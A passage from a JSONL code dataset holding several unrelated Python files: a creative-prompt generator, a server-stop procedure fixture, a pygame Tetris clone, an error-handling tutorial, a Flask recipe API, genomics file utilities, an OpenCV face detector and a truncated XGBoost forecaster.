\"Karya seni\",\r\n \"Minuman\",\r\n \"Buku\",\r\n \"Botol\",\r\n \"Kotak\",\r\n \"Brosur\",\r\n \"Bangunan\",\r\n \"Permen\",\r\n \"Pakaian\",\r\n \"Korporasi\",\r\n \"Alat\",\r\n \"Dokumen\",\r\n \"Acara\",\r\n \"Festival\",\r\n \"Bendera\",\r\n \"Permainan\",\r\n \"Hadiah\",\r\n \"Judul Utama\",\r\n \"Cangkokan\",\r\n \"Alat\",\r\n \"Alat musik\",\r\n \"Perhiasan\",\r\n \"Kit\",\r\n \"Hukum\",\r\n \"Logo\",\r\n \"Lotion\",\r\n \"Mesin\",\r\n \"Halaman depan Majalah\",\r\n \"Peta\",\r\n \"Topeng\",\r\n \"Monumen\",\r\n \"Passport\",\r\n \"Pil\",\r\n \"Tanaman\",\r\n \"Postcard\",\r\n \"Poster\",\r\n \"Produk\",\r\n \"Prostetik\",\r\n \"Pelayanan Publik\",\r\n \"Peninggalan Sejarah\",\r\n \"Ritual\",\r\n \"Pertunjukan\",\r\n \"Slogan\",\r\n \"Cemilan\",\r\n \"Lagu\",\r\n \"Souvenir\",\r\n \"Patung\",\r\n \"Stiker\",\r\n \"Simbol\",\r\n \"Kaos\",\r\n \"Tatoo\",\r\n \"Alat\",\r\n \"Mainan\",\r\n \"Kendaraan\",\r\n \"Video\",\r\n \"Senjata\",\r\n \"Bebas\",\r\n]\r\n\r\n\r\n_mood = [\r\n \"Kekaguman\",\r\n \"Pengasingan\",\r\n \"Hiburan\",\r\n \"Marah\",\r\n \"Kecemasan\",\r\n \"Kejanggalan\",\r\n \"Tenang\",\r\n \"Pesona\",\r\n \"Bersorak\",\r\n \"Kepuasan\",\r\n \"Rasa Ingin Tahu\",\r\n \"Dekadensi\",\r\n \"Sukacita\",\r\n \"Harga Diri\",\r\n \"Menjijikan\",\r\n \"Ketakutan\",\r\n \"Rasa Malu\",\r\n \"Kegembiraan\",\r\n \"Fascination\",\r\n \"Pesona\",\r\n \"Kekaguman\",\r\n \"Semangat\",\r\n \"Frustasi\",\r\n \"Syukur\",\r\n \"Kebahagiaan\",\r\n \"Kesenangan\",\r\n \"Harapan\",\r\n \"Kerinduan\",\r\n \"Pingsan\",\r\n \"Melankoli\",\r\n \"Sandiwara Sensasi\",\r\n \"Nostalgia\",\r\n \"Optimisme\",\r\n \"Kebiadaban\",\r\n \"Gairah\",\r\n \"Kenikmatan\",\r\n \"Kebanggan\",\r\n \"Rasionalitas\",\r\n \"Lega\",\r\n \"Kebencian\",\r\n \"Menghormati\",\r\n \"Kesedihan\",\r\n \"Kepuasan\",\r\n \"Ketenangan\",\r\n \"Malu\",\r\n \"Terkejut\",\r\n \"Duka\",\r\n \"Kejutan\",\r\n \"Kegelisahan\",\r\n \"Kehangatan\",\r\n \"Keanehan\",\r\n \"Kesejahteraan\",\r\n \"Takjub\",\r\n \"Khawatir\",\r\n \"Zen\",\r\n]\r\n\r\ndef inspirasi():\r\n benda = _benda[random.randint(0, len(_benda)-1)]\r\n mood = _mood[random.randint(0, len(_mood)-1)]\r\n lahan = _lahan[random.randint(0,len(_lahan)-1)]\r\n jenis = _jenis[random.randint(0,len(_jenis)-1)]\r\n waktu = _waktu[random.randint(0,len(_waktu)-1)]\r\n\r\n _inspirasi = f\"Pada fase {jenis} rentang waktu {waktu}, dengan suasana {mood}, akan ada {benda} yang berkaitan dengan {lahan}. Apakah itu?\"\r\n return _inspirasi\r\n\r\nif __name__ == '__main__':\r\n print(inspirasi())\r\n","repo_name":"irzaip/trampill_py","sub_path":"edukasi/future.py","file_name":"future.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"jv","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"71808988393","text":"from gcsaws import *\nfrom gcscore.mod import BaseContext\n\nfrom macros import macro_send_mail, macro_manage_linux_server\n\n\ndef main(context: BaseContext) -> Procedure:\n proc = Procedure('stop_sbx').description('Stop the SBX servers in the right order.')\n\n if context.variables.get('pause_before_start'):\n proc.pause('pause_before_start').identifier('stop_sbx,pause_before_start')\\\n .description('Pause the automation so the operator can do some verification before really starting it.')\n\n macro_send_mail(proc, context, 'send_start_mail', 'stop/beginning.html', {'targets': context.targets.all})\\\n .description('Notifies everyone that an operation is going on.')\n\n stop_systems = proc.run_in_parallel('stop_systems').description('All SBX system can be stopped in parallel')\n for server_name in ['vm01', 'vm02']:\n macro_manage_linux_server(stop_systems, context, 'stop', 'sbx', server_name)\\\n .description(f'Run the stop script on {server_name}')\n\n if context.variables.get('pause_before_end'):\n proc.pause('pause_before_end').identifier('stop_sbx,pause_before_end')\\\n .description('Pause the automation so the operator can do some verification before sending the end email.')\n\n macro_send_mail(proc, context, 'send_end_mail', 'stop/end.html', {'targets': context.targets.all})\\\n .description('Notifies everyone that the operation is finished.')\n\n return proc\n","repo_name":"Leikt/gcs-core","sub_path":"tests/test_gcsaws/data/proc01.py","file_name":"proc01.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71243570473","text":"# coding: utf-8\nimport random, time, pygame, sys\nfrom pygame.locals import *\n\n# 屏幕宽度640*480, 每个格长宽为20, 横向10格, 纵向20格\nFPS = 25\nWINDOWWIDTH = 640\nWINDOWHEIGHT = 480\nBOXSIZE = 20\nBOARDWIDTH = 10\nBOARDHEIGHT = 20\n\n\n# 游戏空间在屏幕中间靠下的位置\nXMARGIN = int((WINDOWWIDTH - BOARDWIDTH * BOXSIZE) / 2)\nTOPMARGIN = WINDOWHEIGHT - (BOARDHEIGHT * BOXSIZE) - 5 # 注意, topmargin高于boardheight\n\n# 游戏中需要用的颜色设置\nWHITE = (255, 255, 255)\nGRAY = (185, 185, 185)\nBLACK = (0,0,0)\nRED = (155, 0, 0)\nLIGHTRED = (175, 20, 20)\nGREEN = (0, 155, 0)\nLIGHTGREEN = (20, 175, 20)\nBLUE = (0, 0, 155)\nLIGHTBLUE = (20, 20, 175)\nYELLOW = (155, 155, 0)\nLIGHTYELLOW = (175, 175, 20)\n\nBORDERCOLOR = BLUE\nBGCOLOR = BLACK\nTEXTCOLOR = WHITE\nTEXTSHADOWCOLOR = GRAY\nCOLORS = (BLUE, GREEN, RED, YELLOW)\nLIGHTCOLORS = (LIGHTBLUE, LIGHTGREEN, LIGHTRED, LIGHTYELLOW)\nassert len(COLORS) == len(LIGHTCOLORS)\n\n\nBLANK = '.' # board中的空白元素\n\nTEMPLATEWIDTH = 5\nTEMPLATEHEIGHT = 5\n\nS_SHAPE_TEMPLATE = [['.....',\n '.....',\n '..oo.',\n '.oo..',\n '.....'],\n ['.....',\n '..o..',\n '..oo.',\n '...o.',\n '.....']]\n\nZ_SHAPE_TEMPLATE = [['.....',\n '.....',\n '.oo..',\n '..oo.',\n '.....'],\n ['.....',\n '..o..',\n '.oo..',\n '.o...',\n '.....']]\n\nI_SHAPE_TEMPLATE = [['..o..',\n '..o..',\n '..o..',\n '..o..',\n '.....'],\n ['.....',\n '.....',\n 'oooo.',\n '.....',\n '.....']]\n\nO_SHAPE_TEMPLATE = [['.....',\n '.....',\n '.oo..',\n '.oo..',\n '.....']]\n\nJ_SHAPE_TEMPLATE = [['.....',\n '.o...',\n '.ooo.',\n '.....',\n '.....'],\n ['.....',\n '..oo.',\n '..o..',\n '..o..',\n '.....'],\n ['.....',\n '.....',\n '.ooo.',\n '...o.',\n '.....'],\n ['.....',\n '..o..',\n '..o..',\n '.oo..',\n '.....']]\n\nL_SHAPE_TEMPLATE = [['.....',\n '...o.',\n '.ooo.',\n '.....',\n '.....'],\n ['.....',\n '..o..',\n '..o..',\n '..oo.',\n '.....'],\n ['.....',\n '.....',\n '.ooo.',\n '.o...',\n '.....'],\n ['.....',\n '.oo..',\n '..o..',\n '..o..',\n '.....']]\n\nT_SHAPE_TEMPLATE = [['.....',\n '..o..',\n '.ooo.',\n '.....',\n '.....'],\n ['.....',\n '..o..',\n '..oo.',\n '..o..',\n '.....'],\n ['.....',\n '.....',\n '.ooo.',\n '..o..',\n '.....'],\n ['.....',\n '..o..',\n '.oo..',\n '..o..',\n '.....']]\n\nSHAPES = {'S': S_SHAPE_TEMPLATE,\n 'Z': Z_SHAPE_TEMPLATE,\n 'J': J_SHAPE_TEMPLATE,\n 'L': L_SHAPE_TEMPLATE,\n 'I': I_SHAPE_TEMPLATE,\n 'O': O_SHAPE_TEMPLATE,\n 'T': T_SHAPE_TEMPLATE}\n\n\ndef main():\n global FPSCLOCK, DISPLAYSURF, BASICFONT, BIGFONT\n\n pygame.init()\n FPSCLOCK = pygame.time.Clock()\n\n DISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT))\n\n # 游戏中用到的字体\n BASICFONT = pygame.font.Font('freesansbold.ttf', 18)\n BIGFONT = pygame.font.Font('freesansbold.ttf', 100)\n pygame.display.set_caption('Tetromino')\n\n\n while True:\n runGame()\n\ndef runGame():\n\n board = getBlankBoard()\n\n # board[3][3] = 1 # 测试drawboard\n\n\n # 测试getNewPiece\n '''\n piece = getNewPiece()\n piece['x'] = 3\n piece['y'] = 3\n '''\n\n fallingPiece = getNewPiece()\n lastFallTime = time.time()\n fallFreq = 0.5 # 自由降落频率为0.5秒一次\n\n while True:\n checkForQuit()\n\n if fallingPiece == None:\n fallingPiece = getNewPiece()\n lastFallTime = time.time()\n\n if time.time() - lastFallTime > fallFreq:\n if isValidPosition(board, fallingPiece, adjY=1):\n fallingPiece['y'] += 1\n lastFallTime = time.time()\n else:\n addToBoard(board, fallingPiece)\n fallingPiece = None\n\n DISPLAYSURF.fill(BGCOLOR)\n drawBoard(board)\n if fallingPiece != None:\n drawPiece(fallingPiece)\n pygame.display.update()\n FPSCLOCK.tick(FPS)\n\ndef checkForQuit():\n for event in pygame.event.get(QUIT):\n terminate()\n for event in pygame.event.get(KEYUP):\n if event.key == K_ESCAPE:\n terminate()\n pygame.event.post(event)\n\ndef terminate():\n pygame.quit()\n sys.exit()\n\ndef getBlankBoard():\n board = []\n for i in range(BOARDWIDTH):\n board.append([BLANK] * BOARDHEIGHT)\n return board\n\ndef convertToPixelCoords(boxx, boxy):\n return (XMARGIN + (boxx * BOXSIZE)), (TOPMARGIN + (boxy * BOXSIZE))\n\ndef drawBox(boxx, boxy,color, pixelx=None, pixely=None):\n # draw a single box at xy coordiates on the board. Or if pixelxy are\n # specified, draw to the pixel coordinates( used for the next piece)\n if color == BLANK:\n return\n if pixelx == None and pixely == None:\n pixelx, pixely = convertToPixelCoords(boxx, boxy)\n pygame.draw.rect(DISPLAYSURF, COLORS[color], (pixelx + 1, pixely + 1, BOXSIZE - 1, \\\n BOXSIZE - 1))\n pygame.draw.rect(DISPLAYSURF, LIGHTCOLORS[color],(pixelx + 1, pixely + 1, BOXSIZE - 4, \\\n BOXSIZE - 4))\n\ndef drawBoard(board):\n # draw the border around the board\n pygame.draw.rect(DISPLAYSURF, BORDERCOLOR, (XMARGIN - 3, TOPMARGIN - 7, \\\n (BOARDWIDTH * BOXSIZE) + 8, (BOARDHEIGHT * BOXSIZE) + 8), 5)\n\n pygame.draw.rect(DISPLAYSURF, BGCOLOR, (XMARGIN, TOPMARGIN, BOXSIZE * BOARDWIDTH, \\\n BOXSIZE * BOARDHEIGHT))\n for x in range(BOARDWIDTH):\n for y in range(BOARDHEIGHT):\n drawBox(x, y, board[x][y])\n\ndef getNewPiece():\n shape = random.choice(list(SHAPES.keys()))\n newPiece = {'shape': shape,\n 'rotation': random.randint(0, len(SHAPES[shape]) - 1),\n 'x': int(BOARDWIDTH / 2) - int(TEMPLATEWIDTH / 2),\n 'y': -2,\n 'color': random.randint(0, len(COLORS) -1)}\n return newPiece\n\ndef drawPiece(piece, pixelx=None, pixely=None):\n shapeToDraw = SHAPES[piece['shape']][piece['rotation']]\n\n if pixelx == None and pixely == None:\n pixelx, pixely = convertToPixelCoords(piece['x'], piece['y'])\n\n for x in range(TEMPLATEWIDTH):\n for y in range(TEMPLATEHEIGHT):\n if shapeToDraw[y][x] != BLANK:\n drawBox(None, None, piece['color'], pixelx + (x * BOXSIZE), \\\n pixely + (y * BOXSIZE))\n\ndef isValidPosition(board, piece, adjX=0, adjY=0):\n # return True if the piece is within the board and not colliding\n for x in range(TEMPLATEWIDTH):\n for y in range(TEMPLATEHEIGHT):\n isAboveBoard = y + piece['y'] + adjY < 0\n if isAboveBoard or SHAPES[piece['shape']][piece['rotation']][y][x] == BLANK:\n continue\n if not isOnBoard(x + piece['x'] + adjX, y + piece['y'] + adjY):\n return False\n if board[x + piece['x'] + adjX][y + piece['y'] + adjY] != BLANK:\n return False\n return True\n\ndef isOnBoard(x, y):\n return x >= 0 and x < BOARDWIDTH and y < BOARDHEIGHT\n\ndef addToBoard(board, piece):\n for x in range(TEMPLATEWIDTH):\n for y in range(TEMPLATEHEIGHT):\n if SHAPES[piece['shape']][piece['rotation']][y][x] != BLANK:\n board[x + piece['x']][y + piece['y']] = piece['color']\n\nif __name__ == '__main__':\n main()\n","repo_name":"Joryang/tetromino","sub_path":"tetromino_steps.py","file_name":"tetromino_steps.py","file_ext":"py","file_size_in_byte":8904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70287249192","text":"# 殷志忠老师(TeacherYin.com)\n\ndef 测试1():\n try:\n # 想执行但可能发生错误的程式\n e = int(input('请输入英文成绩: '))\n # 上一行出错,下面程式会被略过,跳套错误处理\n # x = e / 0 # ZeroDivisionError: division by zero\n print('输入完成')\n except ValueError:\n # ValueError 错误处理程式\n print('错误: 请输入整数数字格式')\n # except:\n # 其他错误处理程式\n # print('其他错误 发生了')\n print('END')\n\ndef 输入英文成绩():\n while True:\n try:\n e = int(input('请输入英文成绩: '))\n return e\n except ValueError:\n print('错误: 请输入整数数字格式')\n\n# 测试1()\nx = 输入英文成绩()\nprint(f'x = {x}')","repo_name":"megadumpling411133/PythonMrYin","sub_path":"ex24_ByYin_錯誤處理.py","file_name":"ex24_ByYin_錯誤處理.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74033549033","text":"# import flask libs\nfrom flask_restful import Resource, reqparse\nfrom flask import request\n#from flask_jwt import jwt_required\n\nfrom datetime import datetime\nfrom constants import constants\n\n# import model\nfrom models.recipe import RecipeModel\nfrom models.raw_material import RawMaterialModel \nfrom models.recipe_material_amt import RecipeMaterialAmountModel\n\nclass Recipe(Resource):\n\n # adds a parser to handle PUT an POST HTTP requests\n parser = reqparse.RequestParser()\n parser.add_argument('description',type=str,required=False)\n parser.add_argument('labor_cost',type=float,required=False)\n parser.add_argument('supply_cost',type=float,required=False)\n parser.add_argument('productivity',type=int,required=False)\n parser.add_argument('materials', type=dict, action=\"append\",required=False)\n\n # to handle HTTP GET /recipes/\n def get(self, id):\n recipe = RecipeModel.find_by_id(id)\n if recipe:\n return recipe.json(), 200\n else:\n return {'message': constants['ID_NOT_FOUND']}\n\n def delete(self, id):\n # checks if material exists in database\n recipe = RecipeModel.find_by_id(id)\n\n # in case it exists, delete it\n if recipe:\n recipe.delete_from_db()\n\n # return message and default HTTP status (200 - OK)\n return {'message': constants['DELETED']}\n\n def put(self, id):\n # gets parameter from parser\n data = Recipe.parser.parse_args()\n\n # checks if item exists in database\n recipe = RecipeModel.find_by_id(id)\n \n # in case it exists, updates each of the recipe's parameters\n if recipe:\n for key in data.keys():\n \n if key=='description' and data['description']:\n recipe.description = data['description']\n\n if key=='labor_cost' and data['labor_cost']:\n recipe.labor_cost = data['labor_cost']\n\n if key=='supply_cost' and data['supply_cost']:\n recipe.supply_cost = data['supply_cost']\n\n if key=='productivity' and data['productivity']:\n recipe.productivity = data['productivity']\n\n if key=='sell_by_date' and data['sell_by_date']:\n recipe.sell_by_date = data['sell_by_date']\n\n if key=='materials' and data['materials']:\n recipe.materials.clear() \n materialsDict = data['materials'][0]\n for key in materialsDict.keys():\n materialId = int(key)\n materialAmount = materialsDict[key]\n material = RawMaterialModel.find_by_id(materialId)\n # checks if material does exist in database and, if so, links it to the recipe\n if material:\n recipe.materials.append(material)\n materialRecipeItem = RecipeMaterialAmountModel.find_by_map(id, materialId)\n # in case recipe-material map already exists, then just updates it\n if materialRecipeItem:\n materialRecipeItem.amount = materialAmount\n # otherwise, create a new recipe-material map\n else:\n materialRecipeItem = RecipeMaterialAmountModel(id, materialId, materialAmount)\n materialRecipeItem.save_to_db()\n # in case any materialId provided does not exist\n else:\n return {\"message\": constants['MATERIAL_NOT_EXIST'].format(materialId)}, 400\n\n recipe.last_update = datetime.now().strftime(\"%d/%m/%Y %H:%M\")\n\n # in case not exist, creates a new item\n else:\n recipe = RecipeModel(data['description'],data['labor_cost'],data['supply_cost'], data['productivity'])\n materialsDict = data['materials'][0]\n for key in materialsDict.keys():\n materialId = int(key)\n materialAmount = materialsDict[key]\n material = RawMaterialModel.find_by_id(materialId)\n if material:\n recipe.materials.append(material)\n materialRecipeItem = RecipeMaterialAmountModel.find_by_map(id, materialId)\n # in case recipe-material map already exists, then just updates it\n if materialRecipeItem:\n materialRecipeItem.amount = materialAmount\n materialRecipeItem.save_to_db()\n # otherwise, create a new recipe-material map\n else:\n materialRecipeItem = RecipeMaterialAmountModel(id, materialId, materialAmount)\n materialRecipeItem.save_to_db()\n\n # tries to insert in database\n # returns 500 (internal server error) in case of database failure\n try:\n recipe.save_to_db()\n except:\n return {\"message\": constants['INSERT_FAIL']}, 500\n\n # returns\n return recipe.json()\n\n\nclass Recipes(Resource):\n # adds a parser to handle POST HTTP requests\n parser = reqparse.RequestParser()\n parser.add_argument('description',type=str,required=True)\n parser.add_argument('labor_cost',type=float,required=False)\n parser.add_argument('supply_cost',type=float,required=False)\n parser.add_argument('productivity',type=int,required=False)\n parser.add_argument('materials',type=dict,action=\"append\",required=True)\n\n # handles HTTP request GET /recipes\n def get(self):\n return [x.json() for x in RecipeModel.query.all()]\n\n # handles HTTP request POST /recipes\n def post(self):\n # gets parameter from parser\n data = Recipes.parser.parse_args()\n\n # checks if material exists in database\n recipe = RecipeModel.find_by_description(data['description'])\n\n # in case it exists, returns a message and HTTP 400 code (BAD REQUEST)\n if recipe:\n return {'message': constants['ITEM_EXISTS'].format(data['description'])}, 400\n\n # in case it does not exist, creates a new recipe using data passed\n # along with the HTTP request\n recipe = RecipeModel(data['description'],data['labor_cost'],data['supply_cost'], data['productivity'])\n materialsDict = data['materials'][0]\n for key in materialsDict.keys():\n materialId = int(key)\n materialAmount = materialsDict[key]\n material = RawMaterialModel.find_by_id(materialId)\n if material:\n recipe.materials.append(material)\n materialRecipeItem = RecipeMaterialAmountModel.find_by_map(recipe.id, materialId)\n\n # in case recipe-material map already exists, then just updates it\n if materialRecipeItem:\n materialRecipeItem.amount = materialAmount\n materialRecipeItem.save_to_db()\n # otherwise, create a new recipe-material map\n else:\n materialRecipeItem = RecipeMaterialAmountModel(recipe.id, materialId, materialAmount)\n materialRecipeItem.save_to_db()\n \n material_unit_price = material.package_price/material.package_amt\n recipe.supply_cost += material_unit_price*materialAmount\n \n\n # in case any materialId provided does not exist\n else:\n return {\"message\": constants['MATERIAL_NOT_EXIST'].format(materialId)}, 200\n\n # tries to insert in database\n # returns 500 (internal server error) in case of database failure\n try:\n recipe.save_to_db()\n except:\n return {\"message\": constants['INSERT_FAIL']}, 500\n\n # returns JSON with the created Material and returns CREATED status (201)\n return recipe.json(), 201\n\n# class used to get the whole list of materials in a recipe\nclass MaterialList(Resource):\n # route: recipe//materials\n def get(self, id):\n recipe = RecipeModel.find_by_id(id)\n if recipe:\n return recipe.get_materials_amount()\n else:\n return {'message' : constants['ID_NOT_FOUND']}","repo_name":"lucasbpro/essentialis-rest-api","sub_path":"resources/recipe.py","file_name":"recipe.py","file_ext":"py","file_size_in_byte":8415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31127207791","text":"import csv\nfrom pathlib import Path\nimport argparse\nfrom typing import List, Tuple\nimport pandas as pd\nimport pysam\n\n\nOpenFilesArgsOutput = Tuple[pysam.libcalignmentfile.AlignmentFile,\n pysam.libcalignmentfile.AlignmentFile,\n pysam.libcfaidx.FastaFile,\n pysam.libcfaidx.FastaFile]\n\n############## FILES OPENING FUNCTION DECLARATION ##############\n\ndef open_files_args(args: argparse.Namespace,\n sample: str) -> OpenFilesArgsOutput:\n \"\"\"\n Open files Bam and Fasta files based on CLI arguments and SNP names\n\n :param args: CLI script arguments\n :param sample: SNP name\n :return: bamvsref, BAM file of the GRCh37 \n :return: bamsvdel, BAM file of the GRCh37 with deletion \n :return: fasta_ref, Fasta File of GRCh37\n :return: fasta_coll, Fasta File of GRCh37 with deletion\n \"\"\" \n bamvsref_path = Path.joinpath(args.folder_ref,\n sample + args.files_extension)\n\n bamvsdel_path = Path.joinpath(args.folder_coll,\n sample + args.files_extension)\n\n # Loading the bam file aligned vs the reference GRCh37 genome\n bamvsref = pysam.AlignmentFile(bamvsref_path, \"rc\",\n reference_filename=str(args.fasta_ref_file))\n\n # Loading the bam file aligned vs the coll reference 32del bamvsdel =\n # pysam.AlignmentFile(bamvsdel_file, \"rc\", reference_filename =\n # \"/home/projects/cpr_10006/projects/ccr5/refs/CCR5_del32_120b.fasta\")\n\n bamvsdel = pysam.AlignmentFile(bamvsdel_path, \"rc\", reference_filename=str(\n args.fasta_coll_file))\n\n # Loading the reference GRCh37 fasta file\n fasta_ref = pysam.FastaFile(args.fasta_ref_file)\n\n # Loading the coll GRCh37 fasta file\n fasta_coll = pysam.FastaFile(args.fasta_coll_file)\n\n return bamvsref, bamvsdel, fasta_ref, fasta_coll\n\n\ndef snp_haplo_list(snp_file: str) -> List[List[str]]:\n \"\"\"Open file containing the list of the SNPs to analyze and save it in a\n list. The file was found at this path in computerome 2:\n /home/projects/cpr_10006/people/s162317/ancient/samtools_mpileup_LD\n /NyVikinSimon/nucleotideCount/ceu_haplotype86snps_nucleotides.txt \"\"\"\n\n with open(snp_file, \"r\") as file:\n snp_list = [line.strip().split(sep=\"\\t\") for line in file]\n return snp_list\n\n\ndef dict_to_list(reads_dict: dict) -> list:\n \"\"\"\n Convert the reads dictionary to list containing only the average minimum\n overlapping lengths without read names\n :param reads_dict: \n :return: reads_list: list containing the minimum overlapping lengths of the\n reads from the dictionary\n \"\"\"\n return [reads_dict[key] for key in sorted(reads_dict.keys())]\n\n\ndef write_probdf(prob_df: pd.DataFrame, outdir: Path, sample: str) -> None:\n \"\"\"\n Function to write to file the probability dataframe of the 4 TOP SNPs\n along with their coverages etc\n\n :param prob_df: probability Dataframe\n :param outdir: Pathway to the folder where to save results\n :param sample: the SNP of which prob_df is saved\n \"\"\" \n\n prob_df.to_csv(Path.joinpath(outdir, sample + \"top4SNPs_prob_df.tsv\"),\n sep=\"\\t\")\n\n\n# I write a file containing the settings that I used to run the script\ndef write_settings(args: argparse.Namespace) -> None:\n \"\"\"\n Write CLI arguments used in the script to the .tsv file \n\n :param args: CLI arguments\n \"\"\" \n settings_dict = {arg: str(getattr(args, arg)) for arg in vars(args)}\n\n with open(args.output_folder / \"settings.tsv\", \"w\") as settings_file:\n writer = csv.writer(settings_file, delimiter=\"\\t\")\n for row in settings_dict.items():\n writer.writerow(row)\n\n\ndef write_results(results_filepath: Path, records: dict, header: bool) -> bool:\n \"\"\"\n Write the results dict into the .tsv file \n\n :param results_filepath: Pathway to the file where save results\n :param records: dictionary with records to save\n :param header: bool if use header when saving results\n :return: bool if use header when saving results next time\n \"\"\" \n if records:\n\n records_df = pd.DataFrame.from_records(records)\n\n if header:\n records_df.to_csv(results_filepath, sep=\"\\t\", header=header,\n mode='w', index=False)\n return False\n\n else:\n records_df.to_csv(results_filepath, sep=\"\\t\", header=header,\n mode='a', index=False)\n\n return header\n\n\ndef averaging_df_column(df: pd.DataFrame, cols_to_group: List[str],\n avg_df_column: str) -> pd.DataFrame:\n \"\"\"\n Average a column based on grouped columns\n\n :param df: pd.DataFrame of which column we want to average\n :param cols_to_group: a list of column names we want to group by\n :param avg_df_column: a column we want want to average\n :return: updated pd.DataFrame\n \"\"\"\n df = df.assign(\n average_min_over=\n lambda x: x.groupby(cols_to_group)[avg_df_column].transform(\"mean\"))\n\n df = df.drop(columns=[avg_df_column])\n df = df.drop_duplicates()\n\n return df\n","repo_name":"RasmussenLab/HAPI","sub_path":"src/hapi/utils/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":5186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74714851752","text":"import cv2\n# 创建人脸检测级联分类器对象实例\nface_cascade = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\nprint(face_cascade)\n# 或采用lbp特征进行检测\n# face_cascade = cv2.CascadeClassifier(\"lbpcascade_frontalface.xml\")\n# 创建人眼检测级联分类器实例\neye_cascade = cv2.CascadeClassifier(\"haarcascade_eye.xml\")\n# 载入图片\nimg = cv2.imread(\"lena.jpg\")\nprint(img)\n# 图片颜色意义不大, 灰度化处理即可\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n# 调用级联分类器进行多尺度检测\nfaces = face_cascade.detectMultiScale(gray, 1.3, 5)\n# 遍历检测到的结果\nfor (x, y, w, h) in faces:\n # 绘制矩形框, 颜色值的顺序为BGR, 即矩形框的颜色为蓝色\n cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)\n # roi即region of interest, 意思是感兴趣的区域\n roi_gray = gray[y:y+h, x:x+w]\n roi_color = img[y:y+h, x:x+w]\n # 在检测到的人脸区域内检测眼睛\n eyes = eye_cascade.detectMultiScale(roi_gray)\n for (ex, ey, ew, eh) in eyes:\n cv2.rectangle(roi_color, (ex, ey), (ex+ew, ey+eh), (0, 255, 0), 2)\n\ncv2.imwrite(\"detected_face.jpg\", img)\ncv2.imshow(\"detected image\", img)\ncv2.waitKey(0)\n","repo_name":"MAhaitao999/face_recognition","sub_path":"OpenCV_Haar/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74434086632","text":"from datetime import datetime\nimport pathlib\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error\n\nimport xgboost as xgb\nimport plotly.graph_objs as go\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\n\nfrom ForecastingModel import ForecastingModel\n\nPROJECT_DIR = pathlib.Path.cwd()\nDATA_DIR = PROJECT_DIR / \"data\"\n\nclass XGBoostModel(ForecastingModel):\n def __init__(self):\n super().__init__(model=None, \n modelName=\"XGBoost\", \n modelDescription=\"XGBoost is an optimized distributed gradient boosting library designed to be highly efficient, flexible and portable. It implements machine learning algorithms under the Gradient Boosting framework. XGBoost provides a parallel tree boosting (also known as GBDT, GBM) that solve many data science problems in a fast and accurate way. The same code runs on major distributed environment (Hadoop, SGE, MPI) and can solve problems beyond billions of examples.\")\n \n self.X_train: pd.DataFrame = None\n self.y_train: pd.DataFrame = None\n self.X_test: pd.DataFrame = None\n self.y_test: pd.DataFrame = None\n\n def __loadData(self, municipalityId):\n # Read the data\n self.df = pd.read_csv(DATA_DIR / 'municipality_bus_utilization.csv')\n self.df['timestamp'] = pd.to_datetime(self.df['timestamp'], format='%Y-%m-%d %H:%M:%S')\n self.df = self.df.set_index('timestamp')\n\n self.df = self.df[self.df['municipality_id'] == municipalityId]\n self.df.drop(columns=['municipality_id'], inplace=True)\n\n def __preprocess(self):\n self.df['date'] = pd.to_datetime(self.df.index.date)\n self.df['time'] = self.df.index.time\n self.df['year'] = self.df.index.year\n self.df['month'] = self.df.index.month\n self.df['dayOfWeek'] = self.df.index.dayofweek\n self.df['day'] = self.df.index.day\n self.df['hour'] = self.df.index.hour\n self.df['minute'] = self.df.index.minute\n self.df['second'] = self.df.index.second\n self.df['quarter'] = self.df.index.quarter\n self.df['dayOfYear'] = self.df.index.dayofyear\n\n self.df['usage'] = self.df.apply(\n lambda x: x['total_capacity'] if x['usage'] > x['total_capacity'] else x['usage'], axis=1)\n self.df['usage_percentage'] = self.df['usage'] / \\\n self.df['total_capacity']*100\n self.df.sort_values(by='usage_percentage', ascending=False).head()\n\n check_df = self.df[['date', 'hour']].groupby(\n ['date', 'hour']).size().reset_index(name='counts')\n check_df.sort_values('counts', ascending=True)\n\n new_timestamps = pd.DataFrame(columns=[\n 'timestamp', 'usage', 'total_capacity', 'date', 'time', 'year', 'month', 'dayOfWeek', 'day', 'hour'])\n for date in self.df['date'].unique():\n for hour in self.df['hour'].unique():\n if check_df[(check_df['date'] == date) & (check_df['hour'] == hour)]['counts'].values == 1:\n date = pd.to_datetime(date)\n new_record = {'timestamp': f\"{date} {hour}:00:00\", 'usage': np.nan, 'total_capacity': np.nan,\n 'date': date, 'time': datetime.strptime(f\"{hour}:00:00\", '%H:%M:%S').time(), 'year': date.year, 'month': date.month, 'dayOfWeek': date.dayofweek, 'day': date.day, 'hour': hour,\n 'minute': 0, 'second': 0, 'quarter': date.quarter, 'dayOfYear': date.dayofyear, 'usage_percentage': np.nan}\n new_timestamps = pd.concat(\n [new_timestamps, pd.DataFrame.from_records([new_record])])\n\n # add new timestamp to df\n expanded_df = self.df.copy()\n expanded_df = expanded_df.reset_index()\n expanded_df = pd.concat(\n [expanded_df, new_timestamps], ignore_index=True)\n expanded_df['timestamp'] = pd.to_datetime(expanded_df['timestamp'])\n expanded_df = expanded_df.set_index('timestamp')\n expanded_df.sort_index(inplace=True)\n\n # impute missing values for each municipality\n imputed_df = expanded_df.copy()\n\n # fill 